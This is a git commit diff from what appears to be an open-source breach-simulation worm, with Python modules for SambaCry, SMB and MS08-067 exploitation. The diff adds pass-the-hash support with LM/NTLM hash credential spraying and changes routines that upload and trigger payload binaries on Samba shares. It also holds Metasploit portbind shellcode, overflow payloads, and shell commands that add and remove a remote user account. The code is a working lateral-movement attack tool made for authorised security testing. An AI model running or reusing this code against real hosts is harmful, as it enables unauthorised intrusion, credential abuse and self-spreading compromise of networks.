Merge branch 'develop' into feature/change-exploit-telemetry

This commit is contained in:
Itay Mizeretz 2017-10-11 14:10:21 +03:00
commit b310092cd5
31 changed files with 527 additions and 417 deletions

View File

@ -1 +1 @@
c:\python27\Scripts\pyinstaller -F --log-level=DEBUG --clean --upx-dir=.\bin monkey.spec
pyinstaller -F --log-level=DEBUG --clean --upx-dir=.\bin monkey.spec

View File

@ -111,7 +111,7 @@ class Configuration(object):
# dropper config
###########################
dropper_try_move_first = sys.argv[0].endswith(".exe")
dropper_try_move_first = True
dropper_set_date = True
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
dropper_date_reference_path_linux = '/bin/sh'
@ -173,6 +173,8 @@ class Configuration(object):
# addresses of internet servers to ping and check if the monkey has internet acccess.
internet_services = ["monkey.guardicore.com", "www.google.com"]
keep_tunnel_open_time = 60
###########################
# scanners config
###########################
@ -213,7 +215,7 @@ class Configuration(object):
# exploiters config
###########################
skip_exploit_if_file_exist = True
skip_exploit_if_file_exist = False
ms08_067_exploit_attempts = 5
ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT"
@ -231,8 +233,24 @@ class Configuration(object):
"""
return product(self.exploit_user_list, self.exploit_password_list)
def get_exploit_user_password_or_hash_product(self):
"""
Returns all combinations of the configurations users and passwords or lm/ntlm hashes
:return:
"""
cred_list = []
for cred in product(self.exploit_user_list, self.exploit_password_list, [''], ['']):
cred_list.append(cred)
for cred in product(self.exploit_user_list, [''], [''], self.exploit_ntlm_hash_list):
cred_list.append(cred)
for cred in product(self.exploit_user_list, [''], self.exploit_lm_hash_list, ['']):
cred_list.append(cred)
return cred_list
exploit_user_list = ['Administrator', 'root', 'user']
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
exploit_lm_hash_list = []
exploit_ntlm_hash_list = []
# smb/wmi exploiter
smb_download_timeout = 300 # timeout in seconds
@ -244,22 +262,6 @@ class Configuration(object):
sambacry_folder_paths_to_guess = ['/', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home']
# Shares to not check if they're writable.
sambacry_shares_not_to_check = ["IPC$", "print$"]
# Name of file which contains the monkey's commandline
sambacry_commandline_filename = "monkey_commandline.txt"
# Name of file which contains the runner's result
sambacry_runner_result_filename = "monkey_runner_result"
# SambaCry runner filename (32 bit)
sambacry_runner_filename_32 = "sc_monkey_runner32.so"
# SambaCry runner filename (64 bit)
sambacry_runner_filename_64 = "sc_monkey_runner64.so"
# Monkey filename on share (32 bit)
sambacry_monkey_filename_32 = "monkey32"
# Monkey filename on share (64 bit)
sambacry_monkey_filename_64 = "monkey64"
# Monkey copy filename on share (32 bit)
sambacry_monkey_copy_filename_32 = "monkey32_2"
# Monkey copy filename on share (64 bit)
sambacry_monkey_copy_filename_64 = "monkey64_2"
# system info collection
collect_system_info = True

View File

@ -1,14 +1,16 @@
import json
import logging
import requests
import platform
import monkeyfs
from network.info import local_ips, check_internet_access
from socket import gethostname
from config import WormConfiguration, GUID
from transport.tcp import TcpProxy
from transport.http import HTTPConnectProxy
import requests
import monkeyfs
import tunnel
from config import WormConfiguration, GUID
from network.info import local_ips, check_internet_access
from transport.http import HTTPConnectProxy
from transport.tcp import TcpProxy
__author__ = 'hoffer'
@ -60,7 +62,7 @@ class ControlClient(object):
timeout=20)
break
except Exception, exc:
except Exception as exc:
WormConfiguration.current_server = ""
LOG.warn("Error connecting to control server %s: %s", server, exc)
@ -89,7 +91,7 @@ class ControlClient(object):
headers={'content-type': 'application/json'},
verify=False,
proxies=ControlClient.proxies)
except Exception, exc:
except Exception as exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
return {}
@ -105,7 +107,7 @@ class ControlClient(object):
headers={'content-type': 'application/json'},
verify=False,
proxies=ControlClient.proxies)
except Exception, exc:
except Exception as exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
@ -118,7 +120,7 @@ class ControlClient(object):
verify=False,
proxies=ControlClient.proxies)
except Exception, exc:
except Exception as exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
return
@ -126,7 +128,7 @@ class ControlClient(object):
try:
unknown_variables = WormConfiguration.from_dict(reply.json().get('config'))
LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),))
except Exception, exc:
except Exception as exc:
# we don't continue with default conf here because it might be dangerous
LOG.error("Error parsing JSON reply from control server %s (%s): %s",
WormConfiguration.current_server, reply._content, exc)
@ -145,7 +147,7 @@ class ControlClient(object):
headers={'content-type': 'application/json'},
verify=False,
proxies=ControlClient.proxies)
except Exception, exc:
except Exception as exc:
LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc)
return {}
@ -215,7 +217,7 @@ class ControlClient(object):
if size == monkeyfs.getsize(dest_file):
return dest_file
except Exception, exc:
except Exception as exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
@ -243,7 +245,7 @@ class ControlClient(object):
else:
return None, None
except Exception, exc:
except Exception as exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)

View File

@ -1,17 +1,17 @@
import argparse
import ctypes
import logging
import os
import pprint
import shutil
import subprocess
import sys
import time
import ctypes
import shutil
import pprint
import logging
import subprocess
import argparse
from ctypes import c_char_p
from config import WormConfiguration
from exploit.tools import build_monkey_commandline_explicitly
from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
from config import WormConfiguration
from system_info import SystemInfoCollector, OperatingSystem
if "win32" == sys.platform:
@ -19,6 +19,12 @@ if "win32" == sys.platform:
else:
DETACHED_PROCESS = 0
# Linux doesn't have WindowsError
try:
WindowsError
except NameError:
WindowsError = None
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
@ -62,7 +68,7 @@ class MonkeyDrops(object):
self._config['source_path'], self._config['destination_path'])
file_moved = True
except (WindowsError, IOError, OSError), exc:
except (WindowsError, IOError, OSError) as exc:
LOG.debug("Error moving source file '%s' into '%s': %s",
self._config['source_path'], self._config['destination_path'],
exc)
@ -75,7 +81,7 @@ class MonkeyDrops(object):
LOG.info("Copied source file '%s' into '%s'",
self._config['source_path'], self._config['destination_path'])
except (WindowsError, IOError, OSError), exc:
except (WindowsError, IOError, OSError) as exc:
LOG.error("Error copying source file '%s' into '%s': %s",
self._config['source_path'], self._config['destination_path'],
exc)
@ -89,7 +95,7 @@ class MonkeyDrops(object):
dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux
try:
ref_stat = os.stat(dropper_date_reference_path)
except:
except OSError as exc:
LOG.warn("Cannot set reference date using '%s', file not found",
dropper_date_reference_path)
else:
@ -131,7 +137,7 @@ class MonkeyDrops(object):
# try removing the file first
try:
os.remove(self._config['source_path'])
except Exception, exc:
except Exception as exc:
LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc)
# mark the file for removal on next boot

View File

@ -6,6 +6,7 @@
"monkey.guardicore.com",
"www.google.com"
],
"keep_tunnel_open_time": 60,
"range_class": "RelativeRange",
"range_fixed": [
""
@ -27,7 +28,7 @@
"kill_file_path_linux": "/var/run/monkey.not",
"kill_file_path_windows": "%windir%\\monkey.not",
"dropper_try_move_first": false,
"dropper_try_move_first": true,
"exploiter_classes": [
"SSHExploiter",
"SmbExploiter",
@ -62,20 +63,14 @@
"self_delete_in_cleanup": true,
"serialize_config": false,
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
"skip_exploit_if_file_exist": true,
"skip_exploit_if_file_exist": false,
"exploit_user_list": [],
"exploit_password_list": [],
"exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [],
"sambacry_trigger_timeout": 5,
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
"sambacry_shares_not_to_check": ["IPC$", "print$"],
"sambacry_commandline_filename": "monkey_commandline.txt",
"sambacry_runner_result_filename": "monkey_runner_result",
"sambacry_runner_filename_32": "sc_monkey_runner32.so",
"sambacry_runner_filename_64": "sc_monkey_runner64.so",
"sambacry_monkey_filename_32": "monkey32",
"sambacry_monkey_filename_64": "monkey64",
"sambacry_monkey_copy_filename_32": "monkey32_2",
"sambacry_monkey_copy_filename_64": "monkey64_2",
"local_network_scan": false,
"tcp_scan_get_banner": true,
"tcp_scan_interval": 200,

View File

@ -53,6 +53,9 @@ class ElasticGroovyExploiter(HostExploiter):
LOG.info("Host: %s doesn't have ES open" % host.ip_addr)
return False
major, minor, build = host.services[ES_SERVICE]['version'].split('.')
major = int(major)
minor = int(minor)
build = int(build)
if major > 1:
return False
if major == 1 and minor > 4:

View File

@ -1,11 +1,10 @@
import itertools
import logging
import posixpath
import re
import sys
import time
from io import BytesIO
from os import path
import itertools
import posixpath
import impacket.smbconnection
from impacket.nt_errors import STATUS_SUCCESS
@ -34,10 +33,26 @@ class SambaCryExploiter(HostExploiter):
"""
_target_os_type = ['linux']
# Name of file which contains the monkey's commandline
SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt"
# Name of file which contains the runner's result
SAMBACRY_RUNNER_RESULT_FILENAME = "monkey_runner_result"
# SambaCry runner filename (32 bit)
SAMBACRY_RUNNER_FILENAME_32 = "sc_monkey_runner32.so"
# SambaCry runner filename (64 bit)
SAMBACRY_RUNNER_FILENAME_64 = "sc_monkey_runner64.so"
# Monkey filename on share (32 bit)
SAMBACRY_MONKEY_FILENAME_32 = "monkey32"
# Monkey filename on share (64 bit)
SAMBACRY_MONKEY_FILENAME_64 = "monkey64"
# Monkey copy filename on share (32 bit)
SAMBACRY_MONKEY_COPY_FILENAME_32 = "monkey32_2"
# Monkey copy filename on share (64 bit)
SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2"
def __init__(self):
self._config = __import__('config').WormConfiguration
def exploit_host(self, host, depth=-1, src_path=None):
if not self.is_vulnerable(host):
return False
@ -66,7 +81,8 @@ class SambaCryExploiter(HostExploiter):
host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath
if len(successfully_triggered_shares) > 0:
LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares)))
LOG.info(
"Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares)))
return True
else:
LOG.info("No shares triggered successfully on host %s" % host.ip_addr)
@ -84,9 +100,9 @@ class SambaCryExploiter(HostExploiter):
smb_client = self.connect_to_server(host.ip_addr, creds)
self.upload_module(smb_client, host, share, depth)
self.trigger_module(smb_client, share)
smb_client.close()
except (impacket.smbconnection.SessionError, SessionError):
LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
LOG.debug(
"Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
def clean_share(self, ip, share, creds):
"""
@ -97,10 +113,9 @@ class SambaCryExploiter(HostExploiter):
"""
smb_client = self.connect_to_server(ip, creds)
tree_id = smb_client.connectTree(share)
file_list = [self._config.sambacry_commandline_filename, self._config.sambacry_runner_result_filename,
self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64,
self._config.sambacry_monkey_filename_32, self._config.sambacry_monkey_filename_64,
self._config.sambacry_monkey_copy_filename_32, self._config.sambacry_monkey_copy_filename_64]
file_list = [self.SAMBACRY_COMMANDLINE_FILENAME, self.SAMBACRY_RUNNER_RESULT_FILENAME,
self.SAMBACRY_RUNNER_FILENAME_32, self.SAMBACRY_RUNNER_FILENAME_64,
self.SAMBACRY_MONKEY_FILENAME_32, self.SAMBACRY_MONKEY_FILENAME_64]
for filename in file_list:
try:
@ -109,7 +124,6 @@ class SambaCryExploiter(HostExploiter):
# Ignore exception to try and delete as much as possible
pass
smb_client.disconnectTree(tree_id)
smb_client.close()
def get_trigger_result(self, ip, share, creds):
"""
@ -123,7 +137,7 @@ class SambaCryExploiter(HostExploiter):
tree_id = smb_client.connectTree(share)
file_content = None
try:
file_id = smb_client.openFile(tree_id, "\\%s" % self._config.sambacry_runner_result_filename,
file_id = smb_client.openFile(tree_id, "\\%s" % self.SAMBACRY_RUNNER_RESULT_FILENAME,
desiredAccess=FILE_READ_DATA)
file_content = smb_client.readFile(tree_id, file_id)
smb_client.closeFile(tree_id, file_id)
@ -131,7 +145,6 @@ class SambaCryExploiter(HostExploiter):
pass
smb_client.disconnectTree(tree_id)
smb_client.close()
return file_content
def get_writable_shares_creds_dict(self, ip):
@ -143,6 +156,8 @@ class SambaCryExploiter(HostExploiter):
writable_shares_creds_dict = {}
credentials_list = self.get_credentials_list()
LOG.debug("SambaCry credential list: %s" % str(credentials_list))
for credentials in credentials_list:
try:
smb_client = self.connect_to_server(ip, credentials)
@ -153,7 +168,6 @@ class SambaCryExploiter(HostExploiter):
if self.is_share_writable(smb_client, share):
writable_shares_creds_dict[share] = credentials
smb_client.close()
except (impacket.smbconnection.SessionError, SessionError):
# If failed using some credentials, try others.
pass
@ -161,15 +175,15 @@ class SambaCryExploiter(HostExploiter):
return writable_shares_creds_dict
def get_credentials_list(self):
user_password_pairs = self._config.get_exploit_user_password_pairs()
creds = self._config.get_exploit_user_password_or_hash_product()
creds = [{'username': user, 'password': password, 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash}
for user, password, lm_hash, ntlm_hash in creds]
# Add empty credentials for anonymous shares.
credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}]
creds.insert(0, {'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''})
for user, password in user_password_pairs:
credentials_list.append({'username': user, 'password': password, 'lm_hash': '', 'ntlm_hash': ''})
return credentials_list
return creds
def list_shares(self, smb_client):
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
@ -197,11 +211,17 @@ class SambaCryExploiter(HostExploiter):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (samba_version_parts[1] <= "13"):
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (
samba_version_parts[1] <= "13"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (samba_version_parts[1] <= "9"):
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (
samba_version_parts[1] <= "9"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"):
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (
samba_version_parts[1] <= "3"):
is_vulnerable = True
else:
# If pattern doesn't match we can't tell what version it is. Better try
is_vulnerable = True
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
@ -243,23 +263,24 @@ class SambaCryExploiter(HostExploiter):
"""
tree_id = smb_client.connectTree(share)
with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_commandline_filename, monkey_commandline_file.read)
with self.get_monkey_commandline_file(host, depth,
self._config.dropper_target_path_linux) as monkey_commandline_file:
smb_client.putFile(share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read)
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_32, monkey_runner_bin_file.read)
smb_client.putFile(share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_32, monkey_runner_bin_file.read)
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_64, monkey_runner_bin_file.read)
smb_client.putFile(share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_64, monkey_runner_bin_file.read)
monkey_bin_32_src_path = get_target_monkey_by_os(False, True)
monkey_bin_64_src_path = get_target_monkey_by_os(False, False)
with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_32, monkey_bin_file.read)
smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_32, monkey_bin_file.read)
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_64, monkey_bin_file.read)
smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read)
smb_client.disconnectTree(tree_id)
@ -300,7 +321,7 @@ class SambaCryExploiter(HostExploiter):
try:
# the extra / on the beginning is required for the vulnerability
self.open_pipe(smb_client, "/" + module_path)
except (impacket.smbconnection.SessionError, SessionError) as e:
except Exception as e:
# This is the expected result. We can't tell whether we succeeded or not just by this error code.
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
return True
@ -316,15 +337,14 @@ class SambaCryExploiter(HostExploiter):
:return: Array of possible full paths to the module.
"""
sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess
file_names = [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64]
file_names = [self.SAMBACRY_RUNNER_FILENAME_32, self.SAMBACRY_RUNNER_FILENAME_64]
return [posixpath.join(*x) for x in itertools.product(sambacry_folder_paths_to_guess, [share_name], file_names)]
def get_monkey_runner_bin_file(self, is_32bit):
if is_32bit:
return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_32), "rb")
return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_32), "rb")
else:
return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_64), "rb")
return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_64), "rb")
def get_monkey_commandline_file(self, host, depth, location):
return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location))
@ -406,5 +426,7 @@ class SambaCryExploiter(HostExploiter):
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
else:
return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)
return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA,
shareMode=FILE_SHARE_READ,
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE,
fileAttributes=0)

View File

@ -64,7 +64,8 @@ class ShellShockExploiter(HostExploiter):
# we want to report all vulnerable URLs even if we didn't succeed
# let's overload this
[self.report_vuln_shellshock(host, url) for url in exploitable_urls]
# TODO: uncomment when server is ready for it
# [self.report_vuln_shellshock(host, url) for url in exploitable_urls]
# now try URLs until we install something on victim
for _, url, header, exploit in exploitable_urls:

View File

@ -16,12 +16,12 @@ try:
from impacket.smbconnection import SessionError as SessionError1, SMB_DIALECT
from impacket.smb import SessionError as SessionError2
from impacket.smb3 import SessionError as SessionError3
except ImportError, exc:
except ImportError as exc:
print str(exc)
print 'Install the following library to make this script work'
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
sys.exit(1)
raise
LOG = getLogger(__name__)
@ -64,33 +64,35 @@ class SmbExploiter(HostExploiter):
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
user_password_pairs = self._config.get_exploit_user_password_pairs()
creds = self._config.get_exploit_user_password_or_hash_product()
exploited = False
for user, password in user_password_pairs:
for user, password, lm_hash, ntlm_hash in creds:
try:
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host,
user,
password,
src_path,
self._config.dropper_target_path,
user,
password,
lm_hash,
ntlm_hash,
self._config.smb_download_timeout)
if remote_full_path is not None:
LOG.debug("Successfully logged in %r using SMB (%s : %s)",
host, user, password)
LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
host, user, password, lm_hash, ntlm_hash)
host.learn_credentials(user, password)
exploited = True
break
else:
# failed exploiting with this user/pass
report_failed_login(self, host, user, password)
report_failed_login(self, host, user, password, lm_hash, ntlm_hash)
except Exception, exc:
LOG.debug("Exception when trying to copy file using SMB to %r with user"
" %s and password '%s': (%s)", host,
user, password, exc)
except Exception as exc:
LOG.debug("Exception when trying to copy file using SMB to %r with user:"
" %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", host,
user, password, lm_hash, ntlm_hash, exc)
continue
if not exploited:
@ -113,15 +115,15 @@ class SmbExploiter(HostExploiter):
rpctransport.preferred_dialect(SMB_DIALECT)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(user, password, host.ip_addr,
"", "", None)
rpctransport.set_credentials(user, password, '',
lm_hash, ntlm_hash, None)
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
scmr_rpc = rpctransport.get_dce_rpc()
try:
scmr_rpc.connect()
except Exception, exc:
except Exception as exc:
LOG.warn("Error connecting to SCM on exploited machine %r: %s",
host, exc)
return False

View File

@ -1,25 +1,27 @@
import logging
import ntpath
import os
import sys
import os.path
import pprint
import socket
import struct
import ntpath
import pprint
import logging
import os.path
import sys
import urllib
import monkeyfs
from difflib import get_close_matches
from network import local_ips
from transport import HTTPServer
from network.info import get_free_tcp_port, get_routes
from network.firewall import app as firewall
from impacket.dcerpc.v5 import transport, srvs
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
from impacket.smbconnection import SMBConnection, SMB_DIALECT
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dtypes import NULL
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.smbconnection import SMBConnection, SMB_DIALECT
import monkeyfs
from network import local_ips
from network.firewall import app as firewall
from network.info import get_free_tcp_port, get_routes
from transport import HTTPServer
class DceRpcException(Exception):
@ -62,7 +64,7 @@ class WmiTools(object):
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
wmi.IID_IWbemLevel1Login)
except Exception, exc:
except Exception as exc:
dcom.disconnect()
if "rpc_s_access_denied" == exc.message:
@ -156,7 +158,7 @@ class WmiTools(object):
query_record[key] = record[key]['value']
query.append(query_record)
except DCERPCSessionError, exc:
except DCERPCSessionError as exc:
if 1 == exc.error_code:
break
@ -169,20 +171,21 @@ class WmiTools(object):
class SmbTools(object):
@staticmethod
def copy_file(host, username, password, src_path, dst_path, timeout=60):
def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
config = __import__('config').WormConfiguration
src_file_size = monkeyfs.getsize(src_path)
smb, dialect = SmbTools.new_smb_connection(host, username, password, timeout)
smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
if not smb:
return None
# skip guest users
if smb.isGuestSession() > 0:
LOG.debug("Connection to %r with user %s and password '%s' granted guest privileges",
host, username, password)
LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
" LM hash: %s, NTLM hash: %s",
host, username, password, lm_hash, ntlm_hash)
try:
smb.logoff()
@ -193,7 +196,7 @@ class SmbTools(object):
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
except Exception, exc:
except Exception as exc:
LOG.debug("Error requesting server info from %r over SMB: %s",
host, exc)
return None
@ -210,7 +213,7 @@ class SmbTools(object):
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
except Exception, exc:
except Exception as exc:
LOG.debug("Error enumerating server shares from %r over SMB: %s",
host, exc)
return None
@ -252,13 +255,13 @@ class SmbTools(object):
share_path = share['share_path']
if not smb:
smb, _ = SmbTools.new_smb_connection(host, username, password, timeout)
smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
if not smb:
return None
try:
tid = smb.connectTree(share_name)
except Exception, exc:
except Exception as exc:
LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
share_name, host, exc)
continue
@ -293,7 +296,7 @@ class SmbTools(object):
src_path, share_name, share_path, host)
break
except Exception, exc:
except Exception as exc:
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
share_name, host, exc)
continue
@ -307,23 +310,23 @@ class SmbTools(object):
if not file_uploaded:
LOG.debug("Couldn't find a writable share for exploiting"
" victim %r with username %s and password '%s'",
host, username, password)
" victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
host, username, password, lm_hash, ntlm_hash)
return None
return remote_full_path
@staticmethod
def new_smb_connection(host, username, password, timeout=60):
def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
try:
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
except Exception, exc:
except Exception as exc:
LOG.debug("SMB connection to %r on port 445 failed,"
" trying port 139 (%s)", host, exc)
try:
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
except Exception, exc:
except Exception as exc:
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
host, exc)
return None, None
@ -334,10 +337,10 @@ class SmbTools(object):
# we know this should work because the WMI connection worked
try:
smb.login(username, password, domain=host.ip_addr)
except Exception, exc:
LOG.debug("Error while loging into %r using user %s and password '%s': %s",
host, username, password, exc)
smb.login(username, password, '', lm_hash, ntlm_hash)
except Exception as exc:
LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
host, username, password, lm_hash, ntlm_hash, exc)
return None, dialect
smb.setTimeout(timeout)
@ -386,13 +389,6 @@ class HTTPTools(object):
def get_interface_to_target(dst):
if sys.platform == "win32":
try:
import dnet
intf = dnet.intf()
inte = intf.get_dst(dnet.addr(dst))
return str(inte['addr']).split("/")[0]
except ImportError:
# dnet lib is not installed
return get_close_matches(dst, local_ips())[0]
else:
# based on scapy implementation
@ -473,11 +469,17 @@ def build_monkey_commandline(target_host, depth, location=None):
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
def report_failed_login(exploiter, machine, user, password):
def report_failed_login(exploiter, machine, user, password='', lm_hash='', ntlm_hash=''):
from control import ControlClient
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
'exploiter': exploiter.__class__.__name__,
'user': user, 'password': password})
telemetry_dict = \
{'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__,
'user': user, 'password': password}
if lm_hash:
telemetry_dict['lm_hash'] = lm_hash
if ntlm_hash:
telemetry_dict['ntlm_hash'] = ntlm_hash
ControlClient.send_telemetry('exploit', telemetry_dict)
def get_binaries_dir_path():
@ -485,4 +487,3 @@ def get_binaries_dir_path():
return sys._MEIPASS
else:
return os.path.dirname(os.path.abspath(__file__))

View File

@ -9,15 +9,17 @@
import sys
import time
import socket
from enum import IntEnum
from logging import getLogger
from model.host import VictimHost
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from . import HostExploiter
from enum import IntEnum
from exploit.tools import SmbTools, get_target_monkey
from network.tools import check_port_tcp
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from model.host import VictimHost
from network import SMBFinger
from network.tools import check_port_tcp
from tools import build_monkey_commandline
from . import HostExploiter
try:
from impacket import smb
@ -27,14 +29,13 @@ try:
from impacket.smbconnection import SessionError as SessionError1
from impacket.smb import SessionError as SessionError2
from impacket.smb3 import SessionError as SessionError3
except ImportError, exc:
except ImportError as exc:
print str(exc)
print 'Install the following library to make this script work'
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
sys.exit(1)
LOG = getLogger(__name__)
# Portbind shellcode from metasploit; Binds port to TCP port 4444
@ -62,7 +63,6 @@ SHELLCODE += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"
SHELLCODE += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"
SHELLCODE += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"
# Payload for Windows 2000 target
PAYLOAD_2000 = '\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41'
@ -218,7 +218,7 @@ class Ms08_067_Exploiter(HostExploiter):
LOG.debug("Exploited into %r using MS08-067", host)
exploited = True
break
except Exception, exc:
except Exception as exc:
LOG.debug("Error exploiting victim %r: (%s)", host, exc)
continue
@ -228,19 +228,19 @@ class Ms08_067_Exploiter(HostExploiter):
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host,
self._config.ms08_067_remote_user_add,
self._config.ms08_067_remote_user_pass,
src_path,
self._config.dropper_target_path)
self._config.dropper_target_path,
self._config.ms08_067_remote_user_add,
self._config.ms08_067_remote_user_pass)
if not remote_full_path:
# try other passwords for administrator
for password in self._config.exploit_password_list:
remote_full_path = SmbTools.copy_file(host,
"Administrator",
password,
src_path,
self._config.dropper_target_path)
self._config.dropper_target_path,
"Administrator",
password)
if remote_full_path:
break
@ -258,13 +258,13 @@ class Ms08_067_Exploiter(HostExploiter):
try:
sock.send("start %s\r\n" % (cmdline,))
sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,))
except Exception, exc:
except Exception as exc:
